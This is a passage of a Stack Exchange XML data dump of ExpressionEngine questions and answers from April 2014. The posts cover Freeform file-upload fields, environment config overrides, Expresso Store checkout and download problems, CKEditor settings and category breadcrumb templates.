Tags="|solspace-freeform|solspace|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21379" PostTypeId="2" ParentId="21363" CreationDate="2014-04-23T13:28:49.207" Score="1" Body="&lt;p&gt;Not knowing what you are testing i'm assuming you are testing if the field has a value in it. So I would do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{gold}&quot; != &quot;&quot; || &quot;{silver}&quot; != &quot;&quot; || &quot;{wood}&quot; != &quot;&quot;}&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;on0&quot; value=&quot;Frame Type&quot;&amp;gt;&#xA;      &amp;lt;select name=&quot;os0&quot;&amp;gt;&#xA;          {if gold}&amp;lt;option value=&quot;Gold&quot;&amp;gt;Gold Frame&amp;lt;/option&amp;gt;{/if}&#xA;          {if silver}&amp;lt;option value=&quot;Silver&quot;&amp;gt;Silver Frame&amp;lt;/option&amp;gt;{/if}&#xA;          {if wood}&amp;lt;option value=&quot;Rosewood&quot;&amp;gt;Rosewood Frame&amp;lt;/option&amp;gt;{/if}&#xA;       &amp;lt;/select&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-04-23T13:28:49.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21380" PostTypeId="2" ParentId="21378" CreationDate="2014-04-23T13:55:34.433" Score="1" Body="&lt;p&gt;Yes, there is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When looping through your {freeform:all_form_fields} you will need to test the {freeform:field_output} and alter the html markup you dump your field data into. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_name=&quot;{segment_3}&quot;}&#xA;    {freeform:all_form_fields}&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;        {if freeform:field_type == 'text'}&#xA;            {freeform:field_output}&#xA;        {/if}&#xA;        {if freeform:field_type == 'file'}&#xA;            &amp;lt;img src=&quot;{freeform:field_output}&quot;&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;    {/freeform:all_form_fields}&#xA;{/exp:freeform:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if the field_type is actually named file for a file upload you will need to find out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the documentation area of freeform i pulled this syntax from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#variable_pairs&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/entries/#variable_pairs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-04-23T13:55:34.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21381" PostTypeId="2" ParentId="7272" CreationDate="2014-04-23T13:58:19.203" Score="0" Body="&lt;p&gt;This sounds like a similar problem: &lt;a href=&quot;https://drupal.org/node/1908696&quot; rel=&quot;nofollow&quot;&gt;https://drupal.org/node/1908696&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, add this to your ckeditor config (themes/third_party/wygwam/lib/ckeditor/config.js):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.protectedSource.push( /&amp;lt;i[^&amp;gt;]*&amp;gt;&amp;lt;\/i&amp;gt;/g );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That didn't work for me, but it seems like it worked for some people. What worked for me was adding this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.dtd.$removeEmpty['i'] = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="1327" LastEditDate="2014-04-23T14:04:12.517" LastActivityDate="2014-04-23T14:04:12.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21382" PostTypeId="2" ParentId="21375" CreationDate="2014-04-23T14:03:13.843" Score="3" Body="&lt;p&gt;I've had great experience with masonry very simple to implement and is responsive as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are wanting categorized photos i would set up a single channel for each image. That way you could categorize the images and display different ones depending on the filter that is activated on the site. I wouldn't put a set hight and width to the images with css set the img property to width:100%; and it will fit the to the parent element horizontally. Then with masonry it will fit the parent elements into a mortar style layout like you have above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done a few times and it works great not only with photo galleries but blogs as well. &lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-04-23T14:03:13.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21383" PostTypeId="1" CreationDate="2014-04-23T14:23:06.200" Score="2" ViewCount="123" Body="&lt;p&gt;I'm using Focus Labs Config and trying to give the is_system_on setting the same treatment as the debugging preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, in config.master.php I have added;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['is_system_on']         = (ENV_SYSTEM_ON) ? 'y' : 'n' ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then within config.env.php, in the appropriate CASE I have (for example);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'staging.domain.com' :&#xA;    define('ENV', 'stage');&#xA;    define('ENV_FULL', 'Staging');&#xA;    define('ENV_DEBUG', FALSE);&#xA;    define('ENV_SYSTEM_ON', FALSE);&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the system on/off setting in config.env.php seems to be ignored and the only way to turn the site on or off is to do so within the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else is working perfectly across local, dev, staging and production servers with different settings being used for each. It's just this extra one I can't get to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why this may be and how I could overcome it so I could set the on/off status within my environment cases?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-23T17:08:13.953" Title="Modifying Focus Labs Config to allow setting site on or off from environment cases" Tags="|focus-lab-master-config|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21384" PostTypeId="2" ParentId="21378" CreationDate="2014-04-23T14:26:14.057" Score="0" Body="&lt;p&gt;Thanks, mattidjohn. I just had to change field_type to &quot;file_upload&quot; and manually type in the URL to the file, since field_output only produces a filename. Since you can choose Upload Destination per File Upload field, I don't exactly like hard-coding it to one upload location, but I don't see any variable to reference to find the Upload Destination. (If so, that would make the code scalable and better.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:field_type == 'file_upload'}&#xA;  &amp;lt;a href=&quot;{site_url}docs/{freeform:field_output}&quot;&amp;gt;{freeform:field_output}&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-04-23T14:26:14.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21385" PostTypeId="1" AcceptedAnswerId="21471" CreationDate="2014-04-23T15:19:10.160" Score="0" ViewCount="88" Body="&lt;p&gt;I'm developing a store that allows a client to download custom scripts. I've set up the download folder and the Store and my configuration seems to be correct.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;                &amp;lt;li&amp;gt;{exp:store:download order_id=&quot;{order_id}&quot; url=&quot;{file_for_sale}&quot;}&#xA;                  Download&#xA;                {/exp:store:download}&amp;lt;/li&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens is I get an error like this:&lt;img src=&quot;https://i.stack.imgur.com/mvKV2.png&quot; alt=&quot;ExpressionEngine Throwback Error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is even more confusing is that my original folder path isn't  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/homepages/9/d201932266/htdocs/frameexpert/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original file path is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/kruden/homepages/9/d201932266/htdocs/frameexpert/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where this file path is coming from. I've scoured all the config files to see if this is one of the directories, but it isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2014-04-25T15:25:04.457" Title="Can't Download File in Expresso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21386" PostTypeId="2" ParentId="21383" CreationDate="2014-04-23T15:34:29.273" Score="4" Body="&lt;p&gt;Not sure why that's not working but I tend to just override the default value of 'is_system_on' in the specific environment's config. E.g. for your staging environment add this to &lt;code&gt;config.stage.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['is_system_on'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-04-23T15:34:29.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21387" PostTypeId="2" ParentId="21383" CreationDate="2014-04-23T15:37:52.753" Score="1" Body="&lt;p&gt;Forgive me if this is patronising, but are you sure you're not logged in as a superadmin? If so, this setting won't apply to you and you'll be able to see the site even when it's switched off.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-23T15:37:52.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21388" PostTypeId="1" CreationDate="2014-04-23T15:44:21.250" Score="1" ViewCount="57" Body="&lt;p&gt;I'm using Content Elements and would like to have some control over the file upload folder which a content elements gallery field is associated with. Is this even possible? Seems like a bit of an oversight if not... :/&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-04-23T15:44:21.250" Title="Source image upload location for Krea Content Elements" Tags="|content-elements|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21389" PostTypeId="2" ParentId="21045" CreationDate="2014-04-23T15:48:35.803" Score="0" Body="&lt;p&gt;Your switch/case statement is checking against &lt;code&gt;$_SERVER['HTTP_HOST']&lt;/code&gt; - so for your localhost, this would be &lt;code&gt;localhost&lt;/code&gt;, not &lt;code&gt;localhost/folder-name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, with this kind of setup, &quot;development&quot; and/or &quot;staging&quot; would be referring to a remote server - your localhost should instead fall under the final default case for local environments. This allows you to use either &quot;localhost&quot; or a named vhost (eg, &quot;&lt;a href=&quot;http://project.dev&quot; rel=&quot;nofollow&quot;&gt;http://project.dev&lt;/a&gt;&quot;).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-23T15:48:35.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21390" PostTypeId="1" CreationDate="2014-04-23T16:05:57.800" Score="0" ViewCount="311" Body="&lt;p&gt;I recently started getting errors in the control panel on a site that has not been touched in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: is_dir(): open_basedir restriction in effect. File(/home/hosting/webs/mysite/mysite.com/web/themes/) is not within the allowed path(s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Core.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could have caused the issue?&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="434" LastEditDate="2014-04-25T12:01:01.790" LastActivityDate="2014-06-05T17:55:30.340" Title="Open_basedir error out of the blue" Tags="|php-errors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21391" PostTypeId="1" AcceptedAnswerId="22373" CreationDate="2014-04-23T16:15:40.637" Score="1" ViewCount="395" Body="&lt;p&gt;I have 2 forms that are using the channel form tag, not Freeform, and the CAPTCHA isn’t working. I have made sure all of the preferences have been addressed and that all paths to any images are correct. I AM using a Freeform submission form on another page and the CAPTCHA works fine with the Freeform tag. Does anyone happen to have the same issue and can anyone help me find documentation on why the channel form tag isn’t displaying the CAPTCHA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help in advance.&lt;/p&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2015-05-06T09:29:26.137" Title="expression engine 2.7 channel form tag captcha isn’t working" Tags="|channel-form|captcha|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21392" PostTypeId="1" AcceptedAnswerId="21404" CreationDate="2014-04-23T16:51:02.810" Score="1" ViewCount="149" Body="&lt;p&gt;I don't know what is the problem, I'm updating EE2.7.3 using the EE documentation upgrading, and when I go in the admin panel do update: admin.php i got a blank page with this url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://myurl.com/admin.php?C=wizard&amp;amp;M=license&amp;amp;language=english&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;config.php and database.php are setted to 666, tried with 777 to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i did the update on the wamp local installation, no problems occured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-23T18:55:37.263" Title="problem updating EE2.7.3 to 2.8.1" Tags="|update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21393" PostTypeId="1" CreationDate="2014-04-23T16:58:45.290" Score="1" ViewCount="73" Body="&lt;p&gt;I'm having an issue with Store not saving {order_email} to the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the only field not saving to orders. The checkout process fully completes. Order confirmation emails are not sending due to the field being blank. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;form_class=&quot;form-horizontal&quot;&#xA;next=&quot;store/checkout3&quot;&#xA;error_handling=&quot;inline&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;require=&quot;name|address1|city|country|state|order_email&quot;&#xA;secure=&quot;yes&quot;&#xA;}&#xA;&#xA;{if no_items}&#xA;    {redirect=&quot;store/checkout&quot;}&#xA;{/if}&#xA;&#xA;&amp;lt;div class=&quot;col five first payForm&quot;&amp;gt;&#xA;&#xA;&amp;lt;fieldset id=&quot;billing_details&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_name}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_name} {error:billing_name}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_address1}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address1} {error:billing_address1}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_address2}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address2} {error:billing_address2}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_city}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_city} {error:billing_city}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_state}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_state} {error:billing_state}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_postcode}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_postcode} {error:billing_postcode}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_country}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_country} {error:billing_country}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_phone}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_phone} {error:billing_phone}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:order_email}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:order_email} {error:order_email}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end five --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;col five&quot;&amp;gt;&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                {field:shipping_same_as_billing} Same as Billing Details&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_name} {error:shipping_name}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_address1}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_address1} {error:shipping_address1}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_address2}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_address2} {error:shipping_address2}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_city}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_city} {error:shipping_city}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_postcode}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_postcode} {error:shipping_postcode}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_state}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_state} {error:shipping_state}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_country}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_country} {error:shipping_country}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_phone}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_phone} {error:shipping_phone}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end five --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;    &#xA;        Back&#xA;        &#xA;    &#xA;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:store:checkout}&lt;/p&gt;&#xA;" OwnerUserId="2989" LastEditorUserId="2989" LastEditDate="2014-04-23T18:09:21.903" LastActivityDate="2014-04-24T17:23:22.693" Title="Expresso Store not saving {order_email} to database" Tags="|expresso-store|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21394" PostTypeId="2" ParentId="21383" CreationDate="2014-04-23T17:08:13.953" Score="1" Body="&lt;p&gt;I also don't want to be patronizing but, you said you &quot;added&quot; the new config override though, EE Master Config already includes it &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/blob/master/config/config.master.php#L164&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; - is there a chance you are adding the config override twice? I'm assuming you meant to say you &quot;updated&quot; the current config override accordingly vs adding it twice. &lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-04-23T17:08:13.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21395" PostTypeId="2" ParentId="21322" CreationDate="2014-04-23T17:19:32.617" Score="4" Body="&lt;p&gt;I'm the developer of &lt;a href=&quot;http://squarebit.co.uk/addons/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt; so this is obviously biased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Charge works great for member subscriptions. The focus with Charge is to keep it as simple and rock solid for the developer and customer as possible. To that end - it's tied directly to using Stripe as the payment gateway. Understandably that's not going to be perfect for every project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the process of adding lots of new subscription features, and it's in constant development. I've helped quite a few devs move their client sites off Membrr to Charge, and keeping the whole thing invisible to the customers. If you need a hand, or see any missing features, just drop me a line, and I'd be happy to help. &lt;/p&gt;&#xA;" OwnerUserId="1111" LastActivityDate="2014-04-23T17:19:32.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21396" PostTypeId="2" ParentId="21330" CreationDate="2014-04-23T17:36:57.057" Score="0" Body="&lt;p&gt;Here's how I ended up doing it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used an embedded template and passed the current category ID as a variable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{embed='_products/category_breadcrumb' cat_id='{if triggers:parent_cat_id_1}{triggers:parent_cat_id_1}{if:else}{triggers:cat_id_1}{/if}'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Zoo Triggers variable returns blank if the current category has no parent (meaning it's a top-level category), so I had to use a conditional to output the category ID if the current category is top-level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in my embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories&#xA;  cat_id='{embed:cat_id}'&#xA;  style='linear'&#xA;}&#xA;  {if results_total &amp;gt; 1}&#xA;    {if cat_count == 1}&#xA;      &amp;lt;p class=&quot;category-filter&quot;&amp;gt;&#xA;        View: &#xA;    {/if}&#xA;&#xA;    {if cat_url_title == triggers:segment_3}&#xA;      &amp;lt;span class=&quot;here&quot;&amp;gt;{if depth == 1}All{/if}{if depth == 2}{cat_name}{/if}&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if cat_url_title != triggers:segment_3}&#xA;      &amp;lt;span&amp;gt;&amp;lt;a href=&quot;{path='products/category/{cat_url_title}'}&quot;&amp;gt;{if depth == 1}All{/if}{if depth == 2}{cat_name}{/if}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if cat_count == results_total}&#xA;      &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;  {/if}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The caveat is that it only works with a 2-level category tree, but that's all I need for my specific situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;a href=&quot;http://goo.gl/19qOOd&quot; rel=&quot;nofollow&quot;&gt;Zoo Triggers&lt;/a&gt; &lt;code&gt;{triggers:parent_cat_id_1}&lt;/code&gt; and &lt;code&gt;{triggers:cat_id_1}&lt;/code&gt; variables, but you could do the same thing with &lt;a href=&quot;http://goo.gl/7dnWG&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; &lt;code&gt;{segment_1_category_parent_id}&lt;/code&gt; and &lt;code&gt;{segment_1_category_id}&lt;/code&gt; variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also used an embedded template to get the parse order right, but I imagine you could use &lt;a href=&quot;http://goo.gl/NjiQD&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; for this too.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-04-23T17:36:57.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21398" PostTypeId="2" ParentId="21314" CreationDate="2014-04-23T17:48:22.300" Score="1" Body="&lt;p&gt;Yes. CP::set_variable was deprecated in EE 2.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm submitting a fix to the addon's github repository&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-23T17:48:22.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
